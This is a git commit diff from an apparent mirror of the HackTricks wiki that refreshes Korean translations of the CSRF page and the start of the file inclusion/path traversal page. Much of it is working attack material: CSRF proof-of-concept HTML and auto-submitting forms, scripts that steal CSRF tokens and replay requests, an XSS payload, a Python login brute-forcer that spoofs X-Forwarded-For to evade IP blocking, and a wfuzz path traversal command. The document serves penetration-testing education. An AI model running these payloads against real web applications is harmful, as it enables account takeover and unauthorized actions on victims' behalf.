mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
2ce5f91abc
commit
fa5c6ffc12
@ -2,66 +2,94 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
## Cross-Site Request Forgery (CSRF) 설명
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 악용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
|
||||
**Cross-Site Request Forgery (CSRF)** 은 웹 애플리케이션에서 발견되는 일종의 보안 취약점입니다. 공격자는 사용자의 인증된 세션을 악용하여 사용자를 대신해 작업을 수행할 수 있습니다. 이 공격은 사용자가 피해자의 플랫폼에 로그인한 상태에서 악성 사이트를 방문할 때 실행됩니다. 해당 사이트는 JavaScript 실행, 폼 제출 또는 이미지 로드와 같은 방법으로 피해자 계정에 요청을 전송합니다.
|
||||
|
||||
### Prerequisites for a CSRF Attack
|
||||
### CSRF 공격을 위한 사전 조건
|
||||
|
||||
CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다:
|
||||
CSRF 취약점을 악용하려면 몇 가지 조건이 충족되어야 합니다:
|
||||
|
||||
1. **Identify a Valuable Action**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같은 악용할 가치가 있는 행동을 찾아야 합니다.
|
||||
2. **Session Management**: 사용자의 세션은 쿠키 또는 HTTP Basic Authentication 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
|
||||
3. **Absence of Unpredictable Parameters**: 요청에는 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방지할 수 있습니다.
|
||||
1. **Identify a Valuable Action**: 공격자는 사용자 비밀번호, 이메일 변경 또는 권한 상승과 같이 악용할 가치가 있는 작업을 찾아야 합니다.
|
||||
2. **Session Management**: 사용자의 세션은 cookies 또는 HTTP Basic Authentication header를 통해서만 관리되어야 합니다. 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
|
||||
3. **Absence of Unpredictable Parameters**: 요청에 예측 불가능한 매개변수가 포함되어 있지 않아야 합니다. 이러한 매개변수는 공격을 방지할 수 있습니다.
|
||||
|
||||
### Quick Check
|
||||
### 빠른 확인
|
||||
|
||||
Burp에서 **요청을 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
|
||||
요청을 Burp에서 캡처하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 테스트하려면 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
### CSRF 방어
|
||||
|
||||
CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할 수 있습니다:
|
||||
다음과 같은 여러 대책을 구현하여 CSRF 공격으로부터 보호할 수 있습니다:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 쿠키를 전송하는 것을 방지합니다. [SameSite 쿠키에 대한 자세한 내용](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 그렇습니다. [CORS 우회에 대해 알아보기](cors-bypass.md).
|
||||
- **User Verification**: 사용자의 비밀번호를 요청하거나 캡차를 해결하도록 요구하면 사용자의 의도를 확인할 수 있습니다.
|
||||
- **Checking Referrer or Origin Headers**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 오는지 확인하는 데 도움이 됩니다. 그러나 URL을 신중하게 작성하면 잘못 구현된 검사를 우회할 수 있습니다, 예를 들어:
|
||||
- `http://mal.net?orig=http://example.com` (URL이 신뢰할 수 있는 URL로 끝남)
|
||||
- `http://example.com.mal.net` (URL이 신뢰할 수 있는 URL로 시작함)
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 cookies를 전송하는 것을 방지합니다. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 가능성에 영향을 줄 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 할 경우에 그렇습니다. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification**: 사용자 비밀번호 입력을 요구하거나 captcha 해결을 통해 사용자의 의도를 확인할 수 있습니다.
|
||||
- **Checking Referrer or Origin Headers**: Referrer 또는 Origin 헤더를 검증하면 요청이 신뢰된 출처에서 오는지 확인할 수 있습니다. 그러나 URL을 세심하게 조작하면 제대로 구현되지 않은 검사들을 우회할 수 있습니다. 예:
|
||||
- Using `http://mal.net?orig=http://example.com` (URL이 신뢰된 URL로 끝남)
|
||||
- Using `http://example.com.mal.net` (URL이 신뢰된 URL로 시작함)
|
||||
- **Modifying Parameter Names**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
|
||||
- **CSRF Tokens**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF의 위험을 크게 줄일 수 있습니다. CORS를 강제함으로써 토큰의 효과를 높일 수 있습니다.
|
||||
- **CSRF Tokens**: 세션마다 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS 적용으로 향상될 수 있습니다.
|
||||
|
||||
이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
|
||||
이러한 방어책을 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
|
||||
|
||||
## Defences Bypass
|
||||
## 방어 우회
|
||||
|
||||
### From POST to GET
|
||||
### POST에서 GET으로 (method-conditioned CSRF validation bypass)
|
||||
|
||||
악용하고자 하는 양식이 **CSRF 토큰과 함께 POST 요청을 보내도록 준비되어 있을 수 있지만**, **GET** 요청도 **유효한지** 확인하고 GET 요청을 보낼 때 **CSRF 토큰이 여전히 검증되는지** 확인해야 합니다.
|
||||
일부 애플리케이션은 다른 HTTP verbs에 대해서는 건너뛰고 POST에만 CSRF 검증을 적용합니다. PHP에서 흔한 안티 패턴은 다음과 같습니다:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
취약한 엔드포인트가 $_REQUEST에서 오는 파라미터도 허용하면, 동일한 액션을 GET 요청으로 재전송하고 CSRF 토큰을 완전히 생략할 수 있습니다. 이렇게 하면 POST 전용 액션이 토큰 없이 성공하는 GET 액션으로 바뀝니다.
|
||||
|
||||
### Lack of token
|
||||
Example:
|
||||
|
||||
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수를 제거**하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다.
|
||||
- Original POST with token (intended):
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
애플리케이션이 **CSRF 토큰을 사용자 세션에 연결하지 않는 경우** 상당한 **보안 위험**이 발생합니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되는 것을 보장하는 대신 **전역 풀**에 대해 토큰을 검증합니다.
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Notes:
|
||||
- 이 패턴은 응답이 application/json 대신 text/html로 잘못 서빙되는 reflected XSS와 함께 자주 나타납니다.
|
||||
- XSS와 결합하면 단일 GET 링크로 취약한 코드 경로를 트리거하고 CSRF 검사를 완전히 회피할 수 있으므로 악용 장벽이 크게 낮아집니다.
|
||||
|
||||
### 토큰 누락
|
||||
|
||||
애플리케이션은 토큰이 있을 때 이를 검증하는 메커니즘을 구현할 수 있습니다. 하지만 토큰이 없을 때 검증을 완전히 건너뛰면 취약점이 발생합니다. 공격자는 토큰의 값만 바꾸는 것이 아니라 토큰을 전달하는 파라미터 자체를 **제거(remove the parameter)** 함으로써 이를 악용할 수 있습니다. 이렇게 하면 검증 과정을 우회하고 효과적으로 Cross-Site Request Forgery (CSRF) 공격을 수행할 수 있습니다.
|
||||
|
||||
### CSRF 토큰이 사용자 세션에 연동되어 있지 않음
|
||||
|
||||
CSRF 토큰을 사용자 세션에 연동하지 않는 애플리케이션은 심각한 보안 위험을 안고 있습니다. 이러한 시스템은 각 토큰을 발행 세션에 바인딩하지 않고 **글로벌 풀**을 기준으로 토큰을 검증합니다.
|
||||
|
||||
공격자가 이를 악용하는 방법은 다음과 같습니다:
|
||||
|
||||
1. **자신의 계정으로 인증**합니다.
|
||||
2. **전역 풀에서 유효한 CSRF 토큰을 얻습니다.**
|
||||
3. **이 토큰을 사용하여** 피해자에 대한 CSRF 공격을 수행합니다.
|
||||
1. 자신의 계정으로 인증한다.
|
||||
2. 글로벌 풀에서 유효한 CSRF 토큰을 획득한다.
|
||||
3. 이 토큰을 피해자를 대상으로 한 CSRF 공격에 사용한다.
|
||||
|
||||
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다.
|
||||
이 취약점은 공격자가 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용해 피해자를 대신하여 권한 없는 요청을 수행할 수 있게 합니다.
|
||||
|
||||
### Method bypass
|
||||
|
||||
요청이 "**이상한**" **메서드**를 사용하고 있다면, **메서드** **오버라이드 기능**이 작동하는지 확인하십시오. 예를 들어, **PUT** 메서드를 사용하고 있다면 **POST** 메서드를 사용하여 **보낼 수 있습니다**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
요청이 "이상한" method를 사용하고 있다면 method override 기능이 동작하는지 확인하세요. 예를 들어 PUT을 사용 중이라면 POST를 사용하고 다음과 같이 전송해 볼 수 있습니다: _https://example.com/my/dear/api/val/num?__method=PUT_
|
||||
|
||||
이것은 **POST 요청 내에서 \_method 매개변수를 보내거나** **헤더**를 사용하여도 작동할 수 있습니다:
|
||||
이것은 POST 요청 내부에 **\_method 파라미터를 넣어서** 보내거나 다음 헤더들을 사용해서도 작동할 수 있습니다:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
@ -69,18 +97,18 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
|
||||
|
||||
### Custom header token bypass
|
||||
|
||||
요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 있다면:
|
||||
요청이 CSRF 보호 수단으로 토큰을 담은 커스텀 헤더를 추가한다면:
|
||||
|
||||
- **사용자 정의 토큰과 헤더 없이 요청을 테스트**합니다.
|
||||
- **길이는 동일하지만 다른 토큰으로 요청을 테스트**합니다.
|
||||
- Customized Token 및 해당 헤더 없이 요청을 테스트해보세요.
|
||||
- 동일한 길이지만 다른 토큰으로 요청을 테스트해보세요.
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
### CSRF 토큰이 쿠키로 검증되는 경우
|
||||
|
||||
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하는 방법을 구현할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
|
||||
애플리케이션은 토큰을 쿠키와 요청 파라미터에 중복해서 넣거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 확인하는 방식으로 CSRF 보호를 구현할 수 있습니다. 애플리케이션은 요청 파라미터의 토큰이 쿠키 값과 일치하는지를 확인하여 요청을 검증합니다.
|
||||
|
||||
그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
|
||||
그러나 사이트에 CRLF 취약점 등 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있다면 이 방식은 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 속임수 이미지(deceptive image)를 로드한 뒤 CSRF 공격을 개시함으로써 이를 악용할 수 있습니다.
|
||||
|
||||
아래는 공격이 어떻게 구성될 수 있는지에 대한 예입니다:
|
||||
아래는 공격을 구성하는 예시입니다:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> 세션 쿠키와 **csrf 토큰이 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
|
||||
> **csrf token이 session cookie와 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자에게 당신의 세션을 설정해야 하고, 따라서 결국 당신 자신을 공격하게 되기 때문입니다.
|
||||
|
||||
### Content-Type 변경
|
||||
|
||||
[**이**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에 따르면, **POST** 메서드를 사용하여 **preflight** 요청을 피하기 위해 허용되는 Content-Type 값은 다음과 같습니다:
|
||||
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있으므로** 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값도 시도해 보아야 합니다.
|
||||
그러나 사용된 **Content-Type**에 따라 서버 로직이 달라질 수 있으므로 위에서 언급한 값들과 다른 값들, 예를 들어 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ 도 시도해 보아야 합니다.
|
||||
|
||||
예시 (from [here](https://brycec.me/posts/corctf_2021_challenges))는 text/plain으로 JSON 데이터를 전송하는 방법입니다:
|
||||
예제 (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -136,29 +164,30 @@ form.submit()
|
||||
```
|
||||
### JSON 데이터에 대한 Preflight 요청 우회
|
||||
|
||||
POST 요청을 통해 JSON 데이터를 전송하려고 할 때, HTML 양식에서 `Content-Type: application/json`을 직접 사용할 수 없습니다. 마찬가지로, `XMLHttpRequest`를 사용하여 이 콘텐츠 유형을 전송하면 preflight 요청이 시작됩니다. 그럼에도 불구하고, 이 제한을 우회하고 서버가 Content-Type에 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 전략이 있습니다:
|
||||
POST 요청으로 JSON 데이터를 전송하려 할 때, HTML form에서 `Content-Type: application/json`을 직접 지정하는 것은 불가능합니다. 마찬가지로 `XMLHttpRequest`로 이 Content-Type을 보내면 preflight request가 발생합니다. 그럼에도 불구하고 이 제한을 우회하고 서버가 Content-Type와 관계없이 JSON 데이터를 처리하는지 확인할 수 있는 몇 가지 방법이 있습니다:
|
||||
|
||||
1. **대체 콘텐츠 유형 사용**: 양식에서 `enctype="text/plain"`을 설정하여 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이 접근 방식은 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
|
||||
2. **콘텐츠 유형 수정**: 서버가 콘텐츠를 JSON으로 인식하도록 하면서 preflight 요청을 피하려면, `Content-Type: text/plain; application/json`으로 데이터를 전송할 수 있습니다. 이는 preflight 요청을 트리거하지 않지만, 서버가 `application/json`을 수용하도록 구성되어 있다면 올바르게 처리될 수 있습니다.
|
||||
3. **SWF 플래시 파일 활용**: 덜 일반적이지만 가능한 방법은 SWF 플래시 파일을 사용하여 이러한 제한을 우회하는 것입니다. 이 기술에 대한 자세한 이해는 [이 게시물](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)을 참조하십시오.
|
||||
1. **Use Alternative Content Types**: form에 `enctype="text/plain"`을 설정해 `Content-Type: text/plain` 또는 `Content-Type: application/x-www-form-urlencoded`를 사용합니다. 이는 백엔드가 Content-Type에 관계없이 데이터를 사용하는지 테스트합니다.
|
||||
2. **Modify Content Type**: preflight request를 발생시키지 않으면서 서버가 콘텐츠를 JSON으로 인식하도록 하려면 `Content-Type: text/plain; application/json`으로 데이터를 보낼 수 있습니다. 이는 preflight request를 유발하지 않지만, 서버가 `application/json`을 허용하도록 설정되어 있다면 올바르게 처리될 수 있습니다.
|
||||
3. **SWF Flash File Utilization**: 덜 일반적이지만 가능한 방법으로 SWF flash 파일을 이용해 이러한 제한을 우회할 수 있습니다. 이 기법에 대한 자세한 내용은 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)를 참조하세요.
|
||||
|
||||
### Referrer / Origin 체크 우회
|
||||
### Referrer / Origin 검사 우회
|
||||
|
||||
**Referrer 헤더 피하기**
|
||||
**Referrer 헤더 회피**
|
||||
|
||||
응용 프로그램은 'Referer' 헤더가 있을 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 않도록 하려면 다음 HTML 메타 태그를 사용할 수 있습니다:
|
||||
애플리케이션은 'Referer' 헤더가 존재할 때만 이를 검증할 수 있습니다. 브라우저가 이 헤더를 전송하지 못하게 하려면 다음 HTML meta 태그를 사용할 수 있습니다:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
이것은 'Referer' 헤더가 생략되도록 하여 일부 애플리케이션에서 유효성 검사 체크를 우회할 수 있습니다.
|
||||
이렇게 하면 'Referer' 헤더가 생략되어 일부 애플리케이션의 검증을 우회할 수 있습니다.
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
**정규 표현식 우회**
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Referrer가 매개변수 내에서 전송할 URL의 서버 도메인 이름을 설정하려면 다음과 같이 할 수 있습니다:
|
||||
Referrer가 파라미터 안에 전송할 서버의 도메인 이름을 URL에 설정하려면 다음과 같이 할 수 있습니다:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -187,25 +216,25 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **HEAD 메서드 우회**
|
||||
### **HEAD method bypass**
|
||||
|
||||
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리하도록 설정되어 있으며** 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD reqs를 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
|
||||
이 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 부분에서는 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281)에서 router가 **handle HEAD requests as GET requests** with no response body로 설정되어 있다고 설명합니다 — 이는 Oak에만 국한되지 않는 흔한 우회 방법입니다. HEAD reqs를 처리하는 특정 handler 대신, 요청들은 단순히 **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**.
|
||||
따라서 GET 요청이 제한되고 있다면, 단순히 **send a HEAD request that will be processed as a GET request** 하면 됩니다.
|
||||
|
||||
## **익스플로잇 예시**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **CSRF 토큰 추출**
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용하여 **추출을 시도할 수 있습니다**.
|
||||
만약 **CSRF token**이 **defence**로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용해 **exfiltrate it**하려 시도할 수 있습니다.
|
||||
|
||||
### **HTML 태그를 사용한 GET**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는 다음과 같습니다:
|
||||
자동으로 GET 요청을 전송하는 데 사용할 수 있는 다른 HTML5 태그들은:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -234,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### GET 요청 폼
|
||||
### 폼 GET 요청
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -252,7 +281,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### 폼 POST 요청
|
||||
### Form POST 요청
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### iframe을 통한 Form POST 요청
|
||||
### iframe를 통한 Form POST 요청
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### iframe 내에서 POST 요청 전송
|
||||
### iframe 내부에서의 Form POST 요청
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **CSRF 토큰 훔치기 및 POST 요청 보내기**
|
||||
### **CSRF 토큰을 탈취해 POST 요청 보내기**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **CSRF 토큰 훔치기 및 iframe, 폼, Ajax를 사용하여 Post 요청 보내기**
|
||||
### **CSRF Token을 탈취하고 iframe, form, Ajax를 사용해 Post 요청을 전송하기**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -472,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **CSRF 토큰 훔치기 및 iframe과 폼을 사용하여 POST 요청 보내기**
|
||||
### **CSRF Token을 훔치고 iframe과 form을 사용하여 POST 요청 보내기**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -505,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **토큰을 훔치고 2개의 iframe을 사용하여 전송하기**
|
||||
### **token을 훔쳐서 2개의 iframes로 전송하기**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTSteal CSRF 토큰을 Ajax로 가져오고 폼으로 POST 전송**
|
||||
### **POSTSteal CSRF 토큰을 Ajax로 훔치고 form으로 POST 전송하기**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -566,7 +595,7 @@ document.getElementById("form").submit()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
### CSRF with Socket.IO
|
||||
### Socket.IO를 이용한 CSRF
|
||||
```html
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
@ -586,9 +615,9 @@ room: username,
|
||||
})
|
||||
</script>
|
||||
```
|
||||
## CSRF 로그인 브루트 포스
|
||||
## CSRF Login Brute Force
|
||||
|
||||
코드는 CSRF 토큰을 사용하여 로그인 양식을 브루트 포스하는 데 사용할 수 있습니다 (가능한 IP 블랙리스트를 우회하기 위해 X-Forwarded-For 헤더도 사용하고 있습니다):
|
||||
코드는 CSRF token을 사용해 login form에 대해 Brute Force 공격을 수행하는 데 사용할 수 있습니다 (또한 X-Forwarded-For 헤더를 사용하여 가능한 IP blacklisting을 우회하려 시도합니다):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -643,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,61 +1,61 @@
|
||||
# 파일 포함/경로 탐색
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 파일 포함
|
||||
## File Inclusion
|
||||
|
||||
**원격 파일 포함 (RFI):** 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). PHP에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
|
||||
**로컬 파일 포함 (LFI):** 서버가 로컬 파일을 로드합니다.
|
||||
**Remote File Inclusion (RFI):** 원격 서버에서 파일을 로드합니다 (장점: 코드를 작성하면 서버에서 실행됩니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
|
||||
|
||||
사용자가 서버에 의해 로드될 파일을 어떤 방식으로든 제어할 수 있을 때 취약점이 발생합니다.
|
||||
이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
|
||||
|
||||
취약한 **PHP 함수**: require, require_once, include, include_once
|
||||
취약한 **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
이 취약점을 악용하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
이 취약점을 악용하기 위한 유용한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## 블라인드 - 흥미로운 - LFI2RCE 파일
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**여러 \*nix LFI 목록을 혼합하고 더 많은 경로를 추가하여 이 목록을 만들었습니다:**
|
||||
**여러 *nix LFI 목록을 혼합하고 경로를 추가하여 만든 목록:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
`/`를 `\`로 변경해 보세요.\
|
||||
`../../../../../`를 추가해 보세요.
|
||||
Try also to change `/` for `\`\
|
||||
Try also to add `../../../../../`
|
||||
|
||||
